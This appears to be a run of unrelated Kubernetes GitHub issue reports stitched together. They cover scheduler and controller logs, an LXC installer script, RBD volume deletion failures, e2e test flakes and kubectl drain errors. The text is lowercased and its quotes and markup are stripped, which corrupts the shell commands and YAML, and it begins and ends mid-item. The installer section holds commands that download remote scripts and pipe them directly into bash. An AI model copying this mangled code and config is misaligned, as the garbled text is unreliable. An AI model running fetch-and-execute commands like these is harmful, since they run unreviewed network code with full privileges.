\ grafana\ /\ grafana-20160505-063149\  replicas, need 1, creating 1 i0505 06:31:54.741814       1 replication_controller.go:440  failed creation, decrementing expectations for controller \ grafana\ /\ grafana-20160505-063149\  e0505 06:31:54.741867       1 replication_controller.go:442  unable to create pods: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:31:54.741772       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ grafana\ , name:\ grafana-20160505-063149\ , uid:\ 0e901b1c-128b-11e6-ab4d-0050561d25b2\ , apiversion:\ v1\ , resourceversion:\ 1213\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreate' error creating: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:31:54.826712       1 replication_controller.go:434  too few \ grafana\ /\ grafana-20160505-063149\  replicas, need 1, creating 1 i0505 06:31:56.564281       1 replication_controller.go:440  failed creation, decrementing expectations for controller \ grafana\ /\ grafana-20160505-063149\  e0505 06:31:56.564311       1 replication_controller.go:442  unable to create pods: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:31:56.564946       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ grafana\ , name:\ grafana-20160505-063149\ , uid:\ 0e901b1c-128b-11e6-ab4d-0050561d25b2\ , apiversion:\ v1\ , resourceversion:\ 1216\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreate' error creating: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:32:08.337451       1 replication_controller.go:434  too few \ grafana\ /\ grafana-20160505-063149\  replicas, need 1, creating 1  i0505 06:36:58.402888       1 replication_controller.go:434  too few \ grafana\ /\ grafana-20160505-063149\  replicas, need 1, creating 1 i0505 06:36:59.935364       1 replication_controller.go:440  failed creation, decrementing expectations for controller \ grafana\ /\ grafana-20160505-063149\  i0505 06:36:59.935517       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ grafana\ , name:\ grafana-20160505-063149\ , uid:\ 0e901b1c-128b-11e6-ab4d-0050561d25b2\ , apiversion:\ v1\ , resourceversion:\ 1216\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreate' error creating: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created e0505 06:36:59.936915       1 replication_controller.go:442  unable to create pods: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:36:59.937674       1 replication_controller.go:434  too few \ grafana\ /\ grafana-20160505-063149\  replicas, need 1, creating 1 i0505 06:37:01.318998       1 replication_controller.go:440  failed creation, decrementing expectations for controller \ grafana\ /\ grafana-20160505-063149\  e0505 06:37:01.319034       1 replication_controller.go:442  unable to create pods: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:37:01.319169       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ grafana\ , name:\ grafana-20160505-063149\ , uid:\ 0e901b1c-128b-11e6-ab4d-0050561d25b2\ , apiversion:\ v1\ , resourceversion:\ 1216\ , fieldpath:\ \ } : type: 'warning' reason: 'failedcreate' error creating: pods \ grafana-20160505-063149-\  is forbidden: service account grafana/default was not found, retry after the service account is created i0505 06:37:27.413235       1 replication_controller.go:434  too few \ grafana\ /\ grafana-20160505-063149\  replicas, need 1, creating 1 i0505 06:37:27.429364       1 event.go:211  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ grafana\ , name:\ grafana-20160505-063149\ , uid:\ 0e901b1c-128b-11e6-ab4d-0050561d25b2\ , apiversion:\ v1\ , resourceversion:\ 1216\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: grafana-20160505-063149-omw8d        api server flags:        $ ps aux | grep api root      2912  1.2  2.1 748936 43584 ?        sl   06:05   7:53 /opt/kubernetes/bin/hyperkube kubelet --v=2 --api-servers=https://192.168.1.6:6443 --register-node=true --register-schedulable=false --config=/etc/kubernetes/manifests --kubeconfig=/highland/tmp/kubeconfig --port=10250 --address=0.0.0.0 --hostname_override=m1kmaster1 --cadvisor-port=4194 --allow-privileged=true --pod-infra-container-image=docker.prod.skytap.com:5000/skytap-pause-0.8.0:f4ba5159b328400b467cdf9d914ea614379d5715 root      3750  1.3 11.1 543000 229440 ?       ssl  06:07   8:18 /hyperkube apiserver --v=2 --advertise-address=192.168.1.6 --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,serviceaccount,resourcequota --secure-port=6443 --kubelet-port=10250 --insecure-bind-address=127.0.0.1 --etcd-servers=http://127.0.0.1:4001 --service-cluster-ip-range=11.1.1.0/24 --client-ca-file=/highland/config/kubernetes/certs-jenga-pp/ca.crt --tls-cert-file=/highland/config/kubernetes/certs-jenga-pp/server.cert --tls-private-key-file=/highland/config/kubernetes/certs-jenga-pp/server.key --token-auth-file=/etc/kube-known-tokens --allow-privileged=true      at what point should we decide whether kubernetes has failed to create the service account, versus just waiting longer?  or, is the existence of this occasional 5-minute delay a bug that needs fixing?

we've talked about creating  kubectl create deployment ,  kubectl create replicaset ,  kubectl create pod , etc. we could also provide a more first-class way to choose the controller type  or raw pod  in kubectl run rather than doing it via the generator flag, which was originally intended for versioning.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubernetes under lxc \r \r ---\r \r   is this a bug report or feature request?    choose one : i'm starting to think it's both.\r \r i am trying to write a small simple cluster installer for my servers  i'm still at noob level , however, the main target was to run the kubernetes instances under lxc containers.\r \r    shell\r  \r   install master server\r  \r qubestash::cluster::installbase  {\r     qubestash::cluster::setupnetwork\r     qubestash::cluster::setupsshkey\r \r     which apt-get > /dev/null && {\r     \r         apt-get update\r         apt-get install -y apt-transport-https dos2unix curl git lynx make openssh-server openssh-client redir\r \r         curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r             cat > /etc/apt/sources.list.d/kubernetes.list <<eof\r deb http://apt.kubernetes.io/ kubernetes-$ lsb_release -c | awk -f' ' '{print $2}'  main\r eof\r \r         apt-get update\r         touch /.dockerenv\r         apt-get install -y docker.io kubelet kubeadm kubectl kubernetes-cni\r \r         return 0;\r     }\r \r       {\r             if apt-get fails, fall back to ...\r           qubestash::log::warn \ not using an ubuntu/apt-get compatible os. will try using https://get.k8s.io\   \r           export kubernetes_provider=vagrant\r           curl -ss https://get.k8s.io | bash\r       }\r }\r \r  \r   install master server\r  \r qubestash::cluster::installmaster  {\r     qubestash::cluster::installbase\r \r     kubeadm init --api-advertise-addresses=$qstash_master_ip,127.0.0.1 \\\r         --token=$qstash_master_token $qstash_kubeadm_params\r \r     qubestash::log::info \ installing kubernetes weave ...\ \r     kubectl apply -f https://git.io/weave-kube\r \r     qubestash::log::info \ installing kubernetes dashboard ...\ \r       https://github.com/kubernetes/dashboard\r     kubectl create -f https://rawgit.com/kubernetes/dashboard/master/src/deploy/kubernetes-dashboard.yaml\r \r       curl http://127.0.0.1:8080/ui\r     qubestash::log::warn \ to connect to dasboard, please use:\ \r     qubestash::log::warn \ $ kubectl proxy --address=$qstash_master_ip --port=8080\ \r     qubestash::log::warn \ or, if this doesn\\'t work,\ \r     qubestash::log::warn \ $ redir --laddr=$qstash_master_ip --lport=8080 --caddr=\\$ kubectl get services --namespace kube-system | grep kubernetes-dashboard | awk -f ' ' '{print \\$2}'  --cport=8080\ \r     qubestash::log::warn \r     qubestash::log::warn \ to connect a future worker to the kubernetes master, please use:\ \r     qubestash::log::warn \ $ kubeadm  join --token $qstash_master_token $qstash_master_ip\ \r     echo\r     echo \r }\r \r  \r   install master server\r  \r qubestash::cluster::installworker  {\r     qubestash::cluster::installbase\r \r     kubeadm join --token $qstash_master_token $qstash_master_ip\r }\r    \r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : -\r -   os    e.g. from /etc/os-release :  ubuntu linux 16.04 \r -   kernel    e.g.  uname -a  :  linux qstashm 4.4.0-22-generic  40-ubuntu smp thu may 12 22:03:46 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :  this script  https://github.com/qubestash/stash , but mainly using apt-get.\r -   others  : kubeadm version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2074+a092d8e0f95f52\ , gitcommit:\ a092d8e0f95f5200f7ae2cba45c75ab42da36537\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t17:03:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r \r problem occurs because lxc doesn't support modprobe. obviously containers use the same kernel as the main os, but do not allow their users to add new kernel modules. which leads to such thing:\r \r    shell\r ==> qstashmw1:  preflight  the system verification failed. printing the output from the verification:\r ==> qstashmw1: os: linux\r ==> qstashmw1: kernel_version: 4.4.0-42-generic\r ==> qstashmw1: cgroups_cpu: enabled\r ==> qstashmw1: cgroups_cpuacct: enabled\r ==> qstashmw1: cgroups_cpuset: enabled\r ==> qstashmw1: cgroups_devices: enabled\r ==> qstashmw1: cgroups_freezer: enabled\r ==> qstashmw1: cgroups_memory: enabled\r ==> qstashmw1: docker_version: 1.12.1\r ==> qstashmw1: docker_graph_driver: aufs\r ==> qstashmw1:  preflight  some fatal errors occurred:\r ==> qstashmw1: \tfailed to parse kernel config: unable to load kernel module \ configs\ : output - \ modprobe: error: ../libkmod/libkmod.c:586 kmod_search_moddep   could not open moddep file '/lib/modules/4.4.0-42-generic/modules.dep.bin'\ modprobe: fatal: module configs not found in directory /lib/modules/4.4.0-42-generic\ \ , err - exit status 1\r ==> qstashmw1:  preflight  if you know what you are doing, you can skip pre-flight checks with  --skip-preflight-checks \r the ssh command responded with a non-zero exit status. vagrant\r assumes that this means the command failed. the output for this command\r should be in the log above. please read the output to determine what\r went wrong.\r    \r \r both master and worker throw similar errors.\r \r   what you expected to happen  :\r \r question is simple. do i have to change the entire architecture, which eventually would lead to a possible kubernetes change with another cluster tool, or is there a  way  https://www.stgraber.org/2013/12/23/lxc-1-0-some-more-advanced-container-usage/  to modprobe the modules so that the install script won't crash. \r \r as a note, i don't really understand what  --skip-preflight-checks  does nor do i understand the role of  libkmod  within kubernetes.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r just download my script and run the demo script\r    shell\r wget -o - https://github.com/qubestash/stash/raw/master/install-lxc.sh | bash\r debug_level=5 /vagrant/q-stash install-master --hostname qstashm\r    \r \r   anything else do we need to know  :\r \r

following link give a 404:\r \r https://kubernetes.io/docs/user-guide/scheduled-jobs/\r \r it used to work earlier.\r \r https://kubernetes.io/docs/concepts/jobs/ is a logical link that should work, particularly since https://kubernetes.io/docs/concepts/jobs/run-to-completion-finite-workloads/ is a working link.\r

\r   bug report  \r \r in order to tail logs from pods generated by a job until completion i run the following command:\r \r  kubectl logs podname -f \r \r this automatically stopped tailing when the pod stopped. since upgrading our gke server this hangs indefinitely. it's something on the cluster side, because using the same 1.6.0 version of kubectl against a 1.5.6 gke cluster stops as soon as the job is done.\r \r   kubernetes version  \r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\r \ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\r \ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment:  \r \r    \r clusteripv4cidr: 10.248.0.0/14\r createtime: '2016-11-14t19:26:49+00:00'\r currentmasterversion: 1.6.0\r currentnodecount: 14\r currentnodeversion: 1.6.0\r endpoint:   redacted  \r initialclusterversion: 1.4.5\r instancegroupurls:\r -   redacted  \r locations:\r - europe-west1-c\r loggingservice: logging.googleapis.com\r masterauth:\r   clientcertificate:   redacted  \r   clientkey:   redacted  \r   clustercacertificate:   redacted  \r   password:   redacted  \r   username:   redacted  \r monitoringservice: monitoring.googleapis.com\r name: development-europe-west1-c\r network: development\r nodeconfig:\r   disksizegb: 250\r   imagetype: cos\r   machinetype: n1-highmem-8\r   oauthscopes:\r   - https://www.googleapis.com/auth/compute\r   - https://www.googleapis.com/auth/devstorage.read_only\r   - https://www.googleapis.com/auth/service.management\r   - https://www.googleapis.com/auth/servicecontrol\r   - https://www.googleapis.com/auth/logging.write\r   - https://www.googleapis.com/auth/monitoring\r   serviceaccount: default\r nodeipv4cidrsize: 24\r    \r \r   what happened  :\r \r  kubectl logs podname -f  keeps blocking even after the pod has stopped. for tailing a job from a build pipeline this is particularly inconvenient.\r \r   what you expected to happen  :\r \r the command to finish as soon as the pod terminates.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r - start a job in a gke 1.6.0 cluster that runs long enough to tail the pod\r - find the pod belonging to the job\r - run  kubectl logs -f <pod name> \r - wait or the pod to stop and verify the kubectl command still blocks

i would be nice if the cloudstack cloudprovider would support the  cloudprovider.instances  interface.

the v1.7.0-alpha.4  changelog  https://github.com/kubernetes/kubernetes/blame/master/changelog.md l1191  generated from  39164 pr description has weird format:\r \r ! image  https://user-images.githubusercontent.com/4876867/27349803-54e4f120-55ad-11e7-9a1f-ebd771ceddec.png \r \r cc @danwinship

\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:129\r jun 25 08:20:20.050: failed waiting for pods to enter running: too many pods scheduled, expected 1 got 2\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:307\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/47014/pull-kubernetes-e2e-gce-etcd3/37616/\r \r @kubernetes/sig-apps-test-failures

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i first created a rbd storageclass. mounting and using this works fine. however when i delete a pvc and check the corresponding pv, it says  released  for a few seconds before going into  failed  state.\r example:\r \r    \r $ kubectl describe pv pvc-b7f4ef92-60be-11e7-8bb1-fa163e97a37e\r \r name:\t\tpvc-b7f4ef92-60be-11e7-8bb1-fa163e97a37e\r labels:\t\t<none>\r storageclass:\t\r status:\t\tfailed\r claim:\t\tdefault/datadir-zk-hadoop-alpha-0\r reclaim policy:\tdelete\r access modes:\trwo\r capacity:\t7gi\r message:\texit status 1\r source:\r     type:\t\trbd  a rados block device mount on the host that shares a pod's lifetime \r     cephmonitors:\t 192.168.0.180:6789 192.168.0.181:6789 192.168.0.182:6789 \r     rbdimage:\t\tkubernetes-dynamic-pvc-b7fc6578-60be-11e7-9ae1-fa163e97a37e\r     fstype:\t\t\r     rbdpool:\t\tkubernetes\r     radosuser:\t\tadmin\r     keyring:\t\t/etc/ceph/keyring\r     secretref:\t\t&{ceph-secret}\r     readonly:\t\tfalse\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   10m\t\t10m\t\t1\t{persistentvolume-controller }\t\t\twarning\t\tvolumefaileddelete\texit status 1\r    \r i tried to get this working since i started using rbd on kubernetes. first i ran into  this  https://github.com/kubernetes/kubernetes/issues/44206  bug which then got fixed. i tried again and saw  exit status 1  immeadiately after deleting the pvc. i then checked the kubelet logs and saw similar logs as  here  https://github.com/kubernetes/kubernetes/issues/42701 , so i waited until this was included in a stable release and tried again. it now, like i mentioned, at least shows  released  for a few seconds.\r \r   what you expected to happen  :\r i expected the pv to get released successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r you have to have a working ceph cluster in place.\r \r 1. create a rbd storageclass\r    \r   created the secret with :\r   kubectl create secret generic ceph-secret --type=\ kubernetes.io/rbd\  --from-literal=key='my_ceph_admin_client_key' --namespace=kube-system\r \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   namespace: kube-system\r   name: standard\r provisioner: kubernetes.io/rbd\r parameters:\r   monitors: 192.168.0.180:6789,192.168.0.181:6789,192.168.0.182:6789   all monitors nodes, comma-delimited\r   adminsecretname: ceph-secret                              \r   adminsecretnamespace: kube-system\r   pool: kubernetes                                              created with 'ceph osd pool create kubernetes 32 32'\r   usersecretname: ceph-secret\r    \r 2. create a pvc\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: myclaim-1\r spec:\r   storageclassname: standard\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r    \r 3. create a pod that will use the pvc\r    \r   sample volume claim\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: test-pvc-nginx\r spec:\r   replicas: 1\r   selector:\r     role: test-pvc-nginx\r   template:\r     metadata:\r       labels:\r         role: test-pvc-nginx\r     spec:\r       containers:\r       - name: test1\r         image: nginx\r         volumemounts:\r           - mountpath: /var/lib/www/html\r             name: nginx-pvc\r       volumes:\r         - name: nginx-pvc\r           persistentvolumeclaim:\r             claimname: myclaim-1\r    \r 4. delete the pvc\r    \r $ kubectl delete pvc myclaim-1\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  : bare metal \r - os  e.g. from /etc/os-release : \r    name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux kubernetes-5 3.10.0-327.36.2.el7.x86_64  1 smp mon oct 10 23:08:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kargo/kubespray\r - others:\r kubelet docker container:\r    \r /usr/bin/docker\r run\r --net=host\r --pid=host\r --privileged\r --name=kubelet\r --restart=on-failure:5\r --memory=512m\r --cpu-shares=100\r -v/dev:/dev:rw\r -v/etc/cni:/etc/cni:ro\r -v/opt/cni:/opt/cni:ro\r -v/root/.docker:/root/.docker:ro\r -v/etc/ssl:/etc/ssl:ro\r -v/etc/resolv.conf:/etc/resolv.conf\r -v/etc/pki/tls:/etc/pki/tls:ro\r -v/etc/pki/ca-trust:/etc/pki/ca-trust:ro\r -v/lib/modules:/lib/modules:ro\r -v/sys:/sys:ro\r -v/var/lib/docker:/var/lib/docker:rw\r -v/var/log:/var/log:rw\r -v/var/lib/kubelet:/var/lib/kubelet:shared\r -v/var/lib/cni:/var/lib/cni:shared\r -v/var/run:/var/run:rw\r -v/etc/kubernetes:/etc/kubernetes:ro\r -v/etc/os-release:/etc/os-release:ro\r quay.io/coreos/hyperkube:v1.7.0_coreos.0\r ./hyperkube\r kubelet\r --v=2\r --address=192.168.0.179\r --hostname-override=kubernetes-5\r --allow-privileged=true\r --pod-manifest-path=/etc/kubernetes/manifests\r --pod-infra-container-image=gcr.io/google_containers/pause-amd64:3.0\r --kube-reserved\r cpu=100m,memory=512m\r --node-status-update-frequency=10s\r --cgroups-per-qos=false\r --enforce-node-allocatable=\r --cluster-dns=10.233.0.3\r --cluster-domain=cluster.local\r --resolv-conf=/etc/resolv.conf\r --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml\r --require-kubeconfig\r --node-labels=node-role.kubernetes.io/node=true\r --network-plugin=cni\r --network-plugin-dir=/etc/cni/net.d\r --cni-bin-dir=/opt/cni/bin\r    \r

pulled out from  49947.\r \r cluster components use the apiserver to effect changes in the cluster, but also to coordinate with each other  e.g., the scheduler uses it to do leader election .  if we want to support this long term, we need to provide a more reliable channel for these messages, so that the system doesn't stop making progress just because of a lost lease when there is a big backlog of work.\r \r one way is a high rate limit for certain   client,operation   pairs.  in this example,   kube-scheduler,renew  .\r \r i suspect we will have other components that need to coordinate with each other so that they can actually make progress.\r \r @kubernetes/sig-api-machinery-feature-requests \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/27 failed with:\r    \r step: destroying namespace \ e2e-tests-pod-disks-mp8xp\  for this suite.\r nov 14 08:44:17.673: info: discovery error for unexpected group: schema.groupversion{group:\ metrics.k8s.io\ , version:\ v1beta1\ }\r nov 14 08:44:17.673: info: couldn't delete ns: \ e2e-tests-pod-disks-mp8xp\ : unable to retrieve the complete list of server apis: metrics.k8s.io/v1beta1: the server could not find the requested resource  &discovery.errgroupdiscoveryfailed{groups:map schema.groupversion error{schema.groupversion{group:\ metrics.k8s.io\ , version:\ v1beta1\ }:  errors.statuserror  0xc4202bdef0 }} \r    \r \r dear @kubernetes/sig-api-machinery-bugs can you please help figure out what this means?\r / \r umbrella issue -  55194\r

is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r \r i did a  kubectl expose deployment , and its external ip stayed in pending state forever.\r \r  after doing a  kubectl describe service , i found out that in fact it had failed because i had reached my quota for external ips \r \r   what you expected to happen  :\r \r change to something other than pending.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r reach external ip quota. expose a new deployment.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.8-gke.0\ , gitcommit:\ a7061d4b09b53ab4099e3b5ca3e80fb172e1b018\ , gittreestate:\ clean\ , builddate:\ 2017-10-10t18:48:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : os x\r - kernel  e.g.  uname -a  : darwin\r \r

is this a bug report or feature request?  :\r new feature request\r \r > uncomment only one, leave it on its own line: \r >  \r \r   what happened  :\r right now, when we configure multiple containers in one pod, the first container will be the default container of this pod. when we execute  kubectl exec -it <pod name>  kube will enter the first default pod.\r \r   what you expected to happen  :\r but for some reason, we have to patch the pod to add some additional sidecar container, but the sidecar container will replace and be at the top of container tab of pod, so it will become the default container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in any multiple containers pod.\r \r   anything else we need to know?  :\r we would like to know, if there is a new feature can set the default container of pod explicitly instead of configure by the first one in container tab of pod, then we can have better control of the container.\r like below:  default-container: nginx-container2 \r    \r spec:\r   template:\r     spec:\r       default-container: nginx-container2\r       containers:\r       - name: nginx-container\r         image: nginx\r         volumemounts:\r         - name: shared-data\r            mountpath: /usr/share/nginx/html\r       - name: nginx-container2\r         image: nginx\r         volumemounts:\r         - name: shared-data\r            mountpath: /usr/share/nginx2/html\r    \r \r \r thanks!

runs are failing with:\r    \r w0403 13:54:30.053  f0403 13:54:30.052544   64937 clusterloader.go:205  error while setting up prometheus stack: timed out waiting for the condition\r    \r \r @mm4tt

- have a plan of how users would upgrade from a user-started ingress controller to an addons-started ingress controller.  discuss this with gke, in terms of their upgrade flow.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-parallel/1451/  failed:  k8s.io  deployment recreatedeployment should delete old pods and create new ones {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 expected error:     < errors.statuserror | 0xc820644600>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/watch/namespaces/e2e-tests-deployment-ur4ap/serviceaccounts?fieldselector=metadata.name%3ddefault\\\\\\\ \\\   has prevented the request from succeeding  get serviceaccounts \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ serviceaccounts\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/watch/namespaces/e2e-tests-deployment-ur4ap/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /api/v1/watch/namespaces/e2e-tests-deployment-ur4ap/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \   has prevented the request from succeeding  get serviceaccounts  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:223       previous issues for this test:  29197  36289  36598

this is a what i believe is a bug in the api or kubectl drain.\r \r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r    \r \r i am going to test on the latest as well.\r \r \r   bug report  \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws built with kops\r -   os    e.g. from /etc/os-release : debian\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r \r    \r $ kubectl drain ip-172-20-116-29.ec2.internal --force --delete-local-data --ignore-daemonsets\r node \ ip-172-20-116-29.ec2.internal\  already cordoned\r warning: deleting pods not managed by replicationcontroller, replicaset, job, daemonset or statefulset: etcd-server-events-ip-172-20-116-29.ec2.internal, etcd-server-ip-172-20-116-29.ec2.internal, kube-apiserver-ip-172-20-116-29.ec2.internal, kube-controller-manager-ip-172-20-116-29.ec2.internal, kube-proxy-ip-172-20-116-29.ec2.internal, kube-scheduler-ip-172-20-116-29.ec2.internal; deleting pods with local storage: weave-net-fctl4; ignoring daemonset-managed pods: weave-net-fctl4\r warning: deleting pods with local storage: weave-net-fctl4; ignoring daemonset-managed pods: weave-net-fctl4; deleting pods not managed by replicationcontroller, replicaset, job, daemonset or statefulset: etcd-server-events-ip-172-20-116-29.ec2.internal, etcd-server-ip-172-20-116-29.ec2.internal, kube-apiserver-ip-172-20-116-29.ec2.internal, kube-controller-manager-ip-172-20-116-29.ec2.internal, kube-proxy-ip-172-20-116-29.ec2.internal, kube-scheduler-ip-172-20-116-29.ec2.internal\r there are pending pods when an error occurred: error when evicting pod \ dns-controller-1528204154-mibl8\ : eviction in version \ v1beta1\  cannot be handled as a eviction: no kind \ eviction\  is registered for version \ policy/v1beta1\ \r pod/dns-controller-1528204154-mibl8\r error: error when evicting pod \ dns-controller-1528204154-mibl8\ : eviction in version \ v1beta1\  cannot be handled as a eviction: no kind \ eviction\  is registered for version \ policy/v1beta1\ \r \r   what you expected to happen  :\r \r node should drain with the dns-controller pod on it.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r install this:\r \r    yaml\r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: dns-controller-test\r   namespace: kube-system\r   labels:\r     